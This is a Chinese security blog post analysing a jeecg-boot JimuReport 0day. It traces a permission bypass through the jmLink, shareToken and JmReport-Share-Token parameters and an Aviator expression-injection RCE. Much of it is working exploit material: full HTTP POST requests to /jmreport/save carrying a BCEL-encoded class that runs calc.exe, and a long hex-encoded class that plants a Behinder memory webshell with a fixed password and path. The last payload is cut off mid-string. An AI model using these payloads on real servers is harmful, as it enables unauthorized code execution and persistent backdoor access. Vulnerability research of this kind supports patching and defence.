历史记录

    清空历史记录
    • 相关的动态
    • 相关的文章
    • 相关的用户
    • 相关的圈子
    • 相关的话题
    注册 登录
    jeecg-boot-0day分析
    white-beer 发表于 广东 技术文章 2970浏览 · 2024-08-25 17:11

    jeecg-boot-0day分析

    [TOC]

    情报信息：

    积木报表RCE_0day 此接口为积木报表组件自带接口，该接口正常访问会提示没有权限，利用jmLink=YWFhfHxiYmI=可以绕过权限校验。在绕过权限校验后，可在请求体中注入内存马，以获取服务器权限。漏洞路径 /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYm

    权限绕过分析

    从官网下个源码跑一下看看，直接debug路径。由于其存在权限绕过，追其原因，看看当前jar包的interceptor。
    其实就是截取当前contextpath(jeecg-boot)后的路径，那么也就是/jmreport/save
    后续进行xss攻击判断、customPrePath(为空)、路径中是否含有/jmrepory/shareview/若是有直接通过该interceptor。判断是否存在无需登录的注释。显然在对应接口是没有该注释的。

    token校验绕过

    跟踪其verifytoken函数发现当token为空会抛出异常，但是在cache中并未处理，因此程序会继续执行。

    修复方案也很简单，在cache处进行异常处理。



    此处只要传入的previousPage不为空即可（为空则会报错“Token校验失败，无权限访问！”），接着跟那么接下里就只需要让 this.jimuReportShareService.isShareingToken(var4, request)返回为true即可。

    jmLink或sharetoken或JmReport-Share-Token Header引发的权限绕过

    此处以jmLink为例，先通过判断Header中是否有 JmReport-Share-Token，来决定var3的取值(无：var3=shareToken，有：JmReport-Share-Token)。若是传参中存在jmLink则进入if中，if中的就好理解了，将传入的 jmLink参数进行base64解密。并以||符号分隔为数组。

    分离的数组第一个不为空，就进入else，否则就GG。接下来他会去数据库里面用这个值去取 JimuReportShare数据库的值。如果这个值不是数据库中存在的则v10为空。且我们访问的路径不以/jmreport/view开头，就跳过了后续的if。返回为true了。就达到权限绕过的目的了。同理上述分析思路除jmLink参数外，header：JmReport-Share-Token和请求中的sharetoken均可进行权限绕过(数据库中不存在的值即可)。


    jmLink:

    shareToken:

    JmReport-Share-Token：

    权限绕过插曲

    在访问一些接口的时候，会发现还是使用不了（例如之前sql注入的接口）。接下来就解决这个问题。从返回包看明显不是被interceptor卡住了，因此直接把断点直接打在对应接口上。


    并且通过控制台报错分析其为空指针异常，怀疑是token为空时导致

    通过分析将定点打在此处，跟入后会发现其会获取传入的token，当token为空或token不符合指定格式时均返回为空。



    接着跟getUsername方法，最后会发现其会调用split方法以"."字符进行分隔，而java.lang.String#split方法是无法为空的。因此会抛出空指针异常，那么其实不为空就好了。

    验证通过

    Freemaker模板注入poc无法使用原因分析

    走到这权限绕过就完成了，但是queryFieldBySql接口用之前的poc打不了了，接下来会说明原因。
    因为根据情报说能打内存马，首先想到的就是模板注入打内存马，通过之前打内存马的分析执行点在FreeMarkerUtils#a方法中，那么就在其中先打个断点。

    那么分析一下之前的poc打不了的原因是啥，跟到之前的触发函数。先执行this._eval方法

    这里其实是在尝试实例化我们传入的命令执行的目标类。接着跟会跟到 ConstructorFunction方法

    这里在利用反射调用恶意类，那么就去看看他是咋处理的吧

    可以看到这里已经将执行命令的恶意类拉到黑名单了，除非有其他类去执行命令进行绕过。因此基本不考虑freemarker的模板注入了。

    Aviator-SSTI-RCE实现

    查看save接口和其对应的数据库，发现其功能就是创建一个报表模板，并且json_str字段为报告模板的格式，后续据此json_str进行渲染。


    那么接下来就是找到他是如何渲染这些字段的。这个功能对应的是show这个接口。

    其会通过id获取数据库中的数据（包括由save接口保存的json_str）。其ExpressUtil.a方法处理获取的json_str中的字符串。

    ExpressUtil.a方法跟a类的构造函数。获取其中的rows和styles参数。跟其a方法。


    this.e这个map不为空即可，接着跟其a方法。

    在该方法最后看到ExpressUtil#a方法，其中会调用exec方法进行表达式解析。该exec方法为com.googlecode.aviator.Expression#exec方法。


    查看该依赖的版本发现存在模板注入漏洞。漏洞信息看这个文章：

    https://www.ctfiot.com/104155.html


    跟进去后看到最终进行恶意代码执行的函数

    在此处打个断点，这里我是用一个正常的模板去debug发现不会触发ExpressUtil#a的断点。发现在a方法中this.e为null因此不会进入对应方法中。

    通过代码分析this.e会在this.c方法中进行赋值,那么接下来就解析一下这段代码。首先这段代码会挨个筛选出rows包含的json内容中存在cells的json字段。例如这一段：



    通过后续的代码分析发现其获取cells中的text，下面的正则表达式用于匹配一种特定格式的字符串，该字符串以可选的任意非等号字符开始，紧接着是一个等号、一个可选的标识符（可能包含字母、数字、下划线和点）和圆括号内的任意内容，然后是可选的一个或多个算术运算符后跟数字的序列，最后是字符串的剩余部分。由于我们要找到this.e的赋值不在该if内就不细看了。

    后续代码就是text以=开头的，会将相关数据放入this.e中。因此我们text中的值要以=开头，this.e才不为空。

    ExpressUtil.a方法的作用就是将text中=和第一个(符号之间的字符串转换为小写、将其中的=替换为空。最后插入b对象的this.b(expression)中，此处就是恶意代码存放的位置。


    那么其实思路就清晰了，只要我们传入的恶意表达式放在这种格式的text中且以=开头就好了。

    后面就简单了，抓个正常/save接口的数据包，将恶意代码以指定格式贴进去即可。

    再通过show接口去触发，此时发现已经text后的内容不见了，说明模板中的恶意代码已经被执行了。

    除了/show，/view接口外，exportAllExcel接口也可触发该漏洞，但是原理都是通过show接口去触发的，这里就不赘述了。

    POC：

    (bcel):

    POST /jeecg-boot/jmreport/save?previousPage=xxx HTTP/1.1
Host: host:port
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 YisouSpider/5.0 Safari/537.3
Accept: application/json, text/plain, */*
JmReport-Share-Token: 123456
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.20.10.2:8080/jeecg-boot/jmreport/index/979183544136601600?menuType=datainfo&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjI4Njg5NDksInVzZXJuYW1lIjoiYWRtaW4ifQ.L5k4aOiNZumYP_bB1LgHTfPePFV4avQ1a_9OUK4W8iE
Content-Type: application/json;charset=UTF-8
JmReport-Tenant-Id: null
tenantId: null
X-Tenant-Id: null
Content-Length: 1685
Origin: http://172.20.10.2:8080
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="69", "Chromium";v="69", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0


{"designerObj":{"id":"980296266425913344","name":"test","type":"datainfo"},"name":"sheet1","freeze":"A1","freezeLineColor":"rgb(185, 185, 185)","styles":[],"displayConfig":{},"printConfig":{"paper":"A4","width":210,"height":297,"definition":1,"isBackend":false,"marginX":10,"marginY":10,"layout":"portrait","printCallBackUrl":""},"merges":[],"rows":{"0":{"cells":{"0":{"text":"=(c=Class.forName(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$5dP$cbN$c2$40$U$3d$D$a5$c5Z$FD$7c$r$s$ea$c6$c2$c2n$dca$dc$YLL$88$Y$n$eeK$bd$nC$da$vi$H$82$7f$a5$h5$$$fc$A$3f$cax$db$u$Q$t$99$fb89$e7$be$be$be$3f$3e$B$9c$e3$c0F$JU$h5le$a6na$dbBC$c0$bc$90J$eaK$81$a2$db$7c$Q0$ae$e2G$S$a8t$a5$a2$dbi4$a4d$e0$PCF$M$9aS$mp$eav$c7$fe$cc$f7B_$8d$bc$beN$a4$g$b5$9b$x$d0$5d$S$H$94$a6m$B$bb3$Ph$a2e$acR$L$3b$9c$f7$e3i$S$d0$b5$cc$aam$M$u$d5$9d$99$M$cf2$a9$D$T$96$85$5d$H$7b$d8w$60c$5d$e0$q$88$p$8f$e6$7e4$J$c9$8b$u$8a$93$t$c9$b1$af$b4$f7$a7$V$a8$$$h$f7$86c$K$b4$40$3d$87d$ec$dd$f4$W$D$I$d4$96$c4$fb$a9$d22$e2$Z$ec$R$e9E$d2pW$b7$f8$85$db8$86$c1g$cb$5e$B$o$9b$92m$99$b3C$f6$82$7d$a9$f5$G$f1$c2$81$c0$g$5b3$H$N$8ey$H$96d$d4$a3$5c$K$94$dfQh$bd$a2$f8$fc$8fm$c2$c95$7c$U$fe$9by$ab$ca$P$o$ZcR$b7$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()))+(c.exec(\"calc.exe\"));"}}},"len":100},"cols":{"len":50},"validations":[],"autofilter":{},"dbexps":[],"dicts":[],"loopBlockList":[],"zonedEditionList":[],"fixedPrintHeadRows":[],"fixedPrintTailRows":[],"rpbar":{"show":true,"pageSize":"","btnList":[]},"hiddenCells":[],"hidden":{"rows":[],"cols":[]},"background":false,"area":false,"dataRectWidth":0,"excel_config_id":"980296266425913344","pyGroupEngine":false,"querySetting":{"izOpenQueryBar":false,"izDefaultQuery":true}}

    JDK高版本POC

    由于becl的这种打法由jdk的限制，只有低版本才行。但是，在aviator语法中发现可以利用use语法引用java类。那么就可以用springframework的链进行内存马注入。
    aviator语法：

    https://zhuanlan.zhihu.com/p/654687667


    =(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass(\"test\", Base64Utils.decodeFromString(\"yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==\"), ClassLoader.getSystemClassLoader()))

    此处用base64编码打内存马时会报错，有兴趣可以深究其原因，此处用16进制进行绕过。

    在打内存马的时候要注意，可能会由于类名重复无法成功，因此类名最好DIY一下

    POC:

    Behinder
密码: password
请求路径: /showme
请求头: Referer: Fvjxgwzbm


POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123123 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 YisouSpider/5.0 Safari/537.3
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.20.10.2:8080/jeecg-boot/jmreport/index/979183544136601600?menuType=datainfo&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjI4Njg5NDksInVzZXJuYW1lIjoiYWRtaW4ifQ.L5k4aOiNZumYP_bB1LgHTfPePFV4avQ1a_9OUK4W8iE
Content-Type: application/json;charset=UTF-8
JmReport-Tenant-Id: null
tenantId: null
X-Tenant-Id: null
Content-Length: 18538
Origin: http://172.20.10.2:8080
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="69", "Chromium";v="69", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0




{"designerObj":{"id":"6666666","name":"test","type":"datainfo"},"name":"sheet1","freeze":"A1","freezeLineColor":"rgb(185, 185, 185)","styles":[],"displayConfig":{},"printConfig":{"paper":"A4","width":210,"height":297,"definition":1,"isBackend":false,"marginX":10,"marginY":10,"layout":"portrait","printCallBackUrl":""},"merges":[],"rows":{"0":{"cells":{"0":{"text":"=(use org.springframework.cglib.core.*;use org.apache.commons.codec.binary.*;ReflectUtils.defineClass(\"org.apache.logging.l.KeyUtils\", Hex.decodeHex(\"cafebabe0000003401240a005a008d08008e08008f0700900800910a000400920a009300940a009300950800960a002500970800980a0059009908009a08009b08009c08009d08009e07009f0800a00700a10a005900a20700a30800a40a001200a50800a60a005900a70700a80a001b00a90b00aa00ab0800ac0a001400ad0a001200ae0a005900af0a005900b00a005900b10a005900b20700b30800b40700b50900b600b70a001200b80a00b900ba0a00b600bb0a00b900bc0700bd0800be0800bf0800c00700c10a003100c20800c30a001200c40800c50a001200c60800c70800c80800c90700ca0a003a008d0700cb0a003c00cc0700cd0a003e00ce0a003e00cf0a003a00d00a003a00d10a005900d20a00d300d40a00d300ba0a00d300d50a001200d60700d70a001200d80a004800920a001200d90a00b900da0a000400db0a00b900dc0700dd0a004f00920700de0700df0a005100e00a005200920a005900e10a005900e20a005900e30a005200e40700e50700e60100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c6501000d67657455726c5061747465726e01001428294c6a6176612f6c616e672f537472696e673b01000c676574436c6173734e616d6501000f676574426173653634537472696e6701000a457863657074696f6e730700e70100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560700e80100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b295601000a676574436f6e7465787401001428294c6a6176612f6c616e672f4f626a6563743b01000d537461636b4d61705461626c650700b30700a10700a30700e90700ea01000e676574496e746572636570746f720700bd01000e616464496e746572636570746f72010027284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f4f626a6563743b295601000c6465636f6465426173653634010016284c6a6176612f6c616e672f537472696e673b295b4201000e677a69704465636f6d7072657373010006285b42295b420700ca0700cb0700cd0100057365744656010039284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b29560100056765744656010038284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f4f626a6563743b0100046765744601003f284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b07009f0700d701000c696e766f6b654d6574686f6401005d284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0700eb0700ec0700dd0700de0100083c636c696e69743e01000a536f7572636546696c6501000d4b65795574696c732e6a6176610c005b005c0100022f2a0100356f72672e6170616368652e636f6d6d6f6e732e6c616e672e536563757269747948616e646c6572576463496e746572636570746f720100106a6176612f6c616e672f537472696e670109a0483473494141414141414141414a31582b337354787855396f346458794570495241444c62674f6b6755677957415273452b776b594275445857776e52635375342f5378576f30736753794a335a574e307961686164716b37316636534e2f7069375251536c4b51495453555072372b30482b6f58333970656d5a334c57784c7276503173372f567a737964632b2b63652b3464365a2f2f656663326745667864344765736a6d62306975366b5a63706f7a77335679355a71614a656d6b326c70564531432f62696946374b467155356c5456475337593044566d7879365947496244316a44367675385a445264327978737036566e4c4a4c3342496f566f56733143617a5a6e366e46776f6d326454437a4b547371513558355232617342614c426b65394372636f4943594a585a385a6a417874735a4276304267714a79564170764843695535555a334c53504f306e696c794a6a70574e76546970473457314e6962444e6a356773566f7876367651394b6479416a345a67594657724d795235644f47414c624764336f61474e38456479482b384d4949437251386e6968564c4366464769507237567a69657050544e4b425162523131694e34414673565770754150353659564f4e324e6534513246517870527530514e5a31634c354f627436324b366b5250744c7578436c3572696f74753339444d3674435a6d542f696e6965797079526874326665465a677939335a34664f4b6f554b357047474867475a4a792b4a41594f66364868774c4d756f765a38366f2f446c675662745154493372466335763962596135694b35547730564b6e6d704d71435a627641436a337a4155777145544f386b416874543435325a6e764b75434a5357476767517543647436385a5a427574704b3579584b6b73545650667148576c62795a375a32346575546641684a624437413057753456456d646c626149773679774a3534493279696d6165443647374641665251703235556b3371784b694d34354562776d4d42396133647036434e5252726c6b363455534a64327853715635335579726f4571475a4f346a65427850684e4550716a6e4d2b4e4c4c2b58346f6e74676f347845637859414b6a6b56302f39326b6a2b68576e6c78714f4262474d44704332454f4756326c4377776a5655716b7938342f4647785053524b4f4e55784638464364624d597178454f496837474b3956554e346d6f3268776a4b4c344a544c5431726777663939444133506b4330473478424c4c54624a544a4f49574c4a542b4867724a6a484e7377774d70304f59385170706a64493166494c4a4937656a4a6376575362744159743373723632534344364654346678536567434f31595a5742567071435a6e5376756b5845787a704945644a305248673475325a4e34443863544d594151534f5a5867576265334e584873644a394347466d7766414f7174536e54556466533874706f696b346330794c6d5644796c56634a7a576446516351507765756d57654c4d2b6173494b34787a6f5a504f615251337a417663753733646270554373456158655263396a4d5977465042396d71747663436a766c56566a3738725a434f5456597a65576b4b625075477665396742655663463853324e62635273506e6e47616a5a3956314a50424176476c316668367668504579766b44586d64377559394a77727242747a644b7255764571586c4f52666f6b644b56732b58696a705256346d366a705569312f4256785778583474415130695a66594f794b636d4675374a5a48555339454c364662797353766b4d7346725a65744e516432367a52522f4264664539782f3330576537335257796f614a334b7931704c524c646e627a594a75646b505036326276636a396663313177325a6368564842656c5a47477a5a342b756c54526477303671434838677235795a612b7a377436674279344c356c6634745472666239774f355a4a7368764157652f4e4d67376d4733376b36474a6432767077564f4e7245532b4f326c58354e6d537553734a534c77414175342f6371674374553945776a7278717543725374743133444f325331554a6f766e2b5752447a664a53785049706d6d2b687574682f42453177726e704375454774575a565331317a4263766f47687849447939726b5053384b7842783756786c682f416e7071516e313530316a494f5a486c302f314e7554375133684e6c4e7953697270302b514f7554732b662b6238374d4c7a6d626b512f6f70643147454164416b2f6e3279712f4849703150586e66423579506f4e386f325435334d54524537543338584e54737450666558734a5736357934454f597a786161414f316f35584f626134514937674763743375786d657443665450796f4a366d6a624a7153335975495a614d2f766b365469656a66376d4f2f636e6f3336376a384e7431354c426a7477506273584d46656c73647659307a327a3330646739396d4459716e75334a4a58786f592f4350454f4a68427a7a69627650414254364d42326c42534a486a4554584f5865744d5873502b6d2b6a3134523934362b36414c3464724f50494758752b38695347427673417444453876345868664d42614d6e75446b75423954664a3359573339394b686277336750526a784867394530383630663075527649394c5845576f4b336b4a3157307a586b6f3838743457774e3556767754536472714e62776d5356384e7461536e434c7942594561766e674458363768367a56387334625859384561666a42314563472b6750397934444a5073677558634955552b70317a397a456c77434f63546641767958375a79657a7578516a7a6635715a3135464348767678496e3975584f49586c5375307549707576494e656836635263704667643979466836694a4131676b687739544c586b4d6b6376643549704d31564e304458766f537a68766365377a4f57394a2b765454703871432f312b346f6d456e6635363877624653355536797a7037717366384d45594e636555574d525839354178664839305a2f4b2b37675567312f324d7650743274596d74684857714933412b396859646f663755397a6152384835366239536234763363476237762f595252795a694e3579514d6855587941575542766657376b78466c686e4a2f6e73764f704964776a4847654d4a586a63583671776534496e422b3969484936795a6f2b6a41414f314761546c4979324d59707a4454484c31412f693577356d5763724c505a51575a2b36444153777050344558367376754751497a5558344d36443374774a3476384550365564326344506e43723145656e6e546f6b704e6850777630386e50673373583239436b4e663363526742623879684d2f6476724351622f775869564a59575867344141413d3d0c005b00ed0700ee0c00ef00f00c00f100f201003c6f72672e737072696e676672616d65776f726b2e7765622e636f6e746578742e726571756573742e52657175657374436f6e74657874486f6c6465720c00f300f401001467657452657175657374417474726962757465730c0084007f01000a6765745265717565737401000a67657453657373696f6e010011676574536572766c6574436f6e746578740100426f72672e737072696e676672616d65776f726b2e7765622e636f6e746578742e737570706f72742e5765624170706c69636174696f6e436f6e746578745574696c730100186765745765624170706c69636174696f6e436f6e7465787401000f6a6176612f6c616e672f436c61737301001c6a617661782e736572766c65742e536572766c6574436f6e746578740100106a6176612f6c616e672f4f626a6563740c008400850100136a6176612f6c616e672f457863657074696f6e0100316f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e4c6976654265616e73566965770c00f5006a0100136170706c69636174696f6e436f6e74657874730c007e007f0100176a6176612f7574696c2f4c696e6b6564486173685365740c00f600f70700f80c00f9006a0100356f72672e737072696e676672616d65776f726b2e7765622e636f6e746578742e5765624170706c69636174696f6e436f6e746578740c00fa00fb0c00fc00fd0c006100600c006200600c007500760c007700780100156a6176612f6c616e672f436c6173734c6f6164657201000b646566696e65436c6173730100025b420700fe0c00ff01000c010101020700eb0c010301040c010501060c010701080100136a6176612f6c616e672f5468726f7761626c650100076765744265616e01001c726571756573744d617070696e6748616e646c65724d617070696e6701001361646170746564496e746572636570746f72730100136a6176612f7574696c2f41727261794c6973740c0109010a01001673756e2e6d6973632e4241534536344465636f6465720c010b00f401000c6465636f64654275666665720c010c01020100106a6176612e7574696c2e42617365363401000a6765744465636f6465720100066465636f646501001d6a6176612f696f2f4279746541727261794f757470757453747265616d01001c6a6176612f696f2f427974654172726179496e70757453747265616d0c005b010d01001d6a6176612f7574696c2f7a69702f475a4950496e70757453747265616d0c005b010e0c010f01100c011101120c011301140c008000810701150c011600740c011701180c0119011a01001e6a6176612f6c616e672f4e6f537563684669656c64457863657074696f6e0c011b00fb0c011c011d0c011e00600c011f010a0c0120012101001f6a6176612f6c616e672f4e6f537563684d6574686f64457863657074696f6e0100206a6176612f6c616e672f496c6c6567616c416363657373457863657074696f6e01001a6a6176612f6c616e672f52756e74696d65457863657074696f6e0c012200600c0069006a0c0071006a0c007300740c005b012301001d6f72672f6170616368652f6c6f6767696e672f6c2f4b65795574696c73010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100136a6176612f696f2f494f457863657074696f6e010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e0100206a6176612f6c616e672f436c6173734e6f74466f756e64457863657074696f6e01002b6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e546172676574457863657074696f6e0100186a6176612f6c616e672f7265666c6563742f4d6574686f6401001b5b4c6a6176612f6c616e672f7265666c6563742f4d6574686f643b010015284c6a6176612f6c616e672f537472696e673b29560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010015676574436f6e74657874436c6173734c6f6164657201001928294c6a6176612f6c616e672f436c6173734c6f616465723b0100096c6f6164436c617373010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b01000b6e6577496e7374616e63650100086974657261746f7201001628294c6a6176612f7574696c2f4974657261746f723b0100126a6176612f7574696c2f4974657261746f720100046e657874010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b010010697341737369676e61626c6546726f6d010014284c6a6176612f6c616e672f436c6173733b295a0100116a6176612f6c616e672f496e7465676572010004545950450100114c6a6176612f6c616e672f436c6173733b0100116765744465636c617265644d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b01000d73657441636365737369626c65010004285a295601000776616c75654f660100162849294c6a6176612f6c616e672f496e74656765723b010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010007666f724e616d650100096765744d6574686f64010005285b422956010018284c6a6176612f696f2f496e70757453747265616d3b295601000472656164010005285b4229490100057772697465010007285b424949295601000b746f42797465417272617901000428295b420100176a6176612f6c616e672f7265666c6563742f4669656c64010003736574010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b01000d6765745375706572636c6173730100126765744465636c617265644d6574686f647301001d28295b4c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100076765744e616d65010006657175616c73010011676574506172616d65746572547970657301001428295b4c6a6176612f6c616e672f436c6173733b01000a6765744d657373616765010018284c6a6176612f6c616e672f5468726f7761626c653b295600210059005a0000000000110001005b005c0001005d0000001d00010001000000052ab70001b100000001005e000000060001000000180001005f00600001005d0000001b00010001000000031202b000000001005e0000000600010000001a0009006100600001005d0000001b00010000000000031203b000000001005e0000000600010000001e0009006200600002005d00000022000300000000000abb0004591205b70006b000000001005e00000006000100000022006300000004000100640001006500660002005d000000190000000300000001b100000001005e00000006000100000030006300000004000100670001006500680002005d000000190000000400000001b100000001005e000000060001000000350063000000040001006700090069006a0002005d00000123000700060000008bb80007b600084b014c2a1209b6000a120bb8000c4e2d120db8000c4d2c120eb8000c3a041904120fb8000c3a052a1210b6000a121104bd001259032a1213b6000a5304bd00145903190553b800154ca700044e2bc700352a1217b6000ab600181219b8001ac0001b4e2db6001cb9001d01004d2a121eb6000a2cb6001fb600209900052c4ca700044e2bb000020009004f0052001600570085008800160002005e00000046001100000038000700390009003d0015003e001c003f00240040002d0041004f004300520042005300450057004700690048007300490083004a0085004d0088004c00890050006b0000002a0005ff0052000207006c07006d000107006e00fc003107006dff0002000207006c07006d000107006e0000630000000a0004006f0070004f0051000a0071006a0002005d000000fa0006000600000074b80007b600084b014c2ab80021b6000ab600184ca7005e4db80022b80023b800244e1225122606bd001259031227535904b20028535905b2002853b600293a04190404b6002a19042a06bd001459032d53590403b8002b5359052dbeb8002b53b6002cc000123a051905b600184ca700044e2bb0000200090014001700160018006e0071002d0002005e00000036000d00000054000700550009005800140062001700590018005b0022005c0040005d0046005e0068005f006e00610071006000720064006b000000280003ff0017000207006c07006d000107006eff0059000307006c07006d07006e0001070072fa0000006300000004000100160009007300740001005d0000006f000700040000002e2a122e04bd0012590312045304bd00145903122f53b800154d2c1230b8001ac000314e2d2bb6003257a700044db1000100000029002c00160002005e0000001a0006000000690019006a0023006b0029006d002c006c002d006f006b0000000700026c07006e000008007500760002005d000000b000060004000000701233b800344c2b123504bd00125903120453b600362bb6001804bd001459032a53b6002cc00027c00027c00027b04d1237b800344c2b123803bd0012b600360103bd0014b6002c4e2db6001f123904bd00125903120453b600362d04bd001459032a53b6002cc00027c00027c00027b000010000002d002e00160002005e0000001a00060000007400060075002e0076002f00770035007800480079006b0000000600016e07006e00630000000a0004006f004f007000510009007700780002005d00000090000400060000003ebb003a59b7003b4cbb003c592ab7003d4dbb003e592cb7003f4e110100bc083a042d1904b600405936059b000f2b190403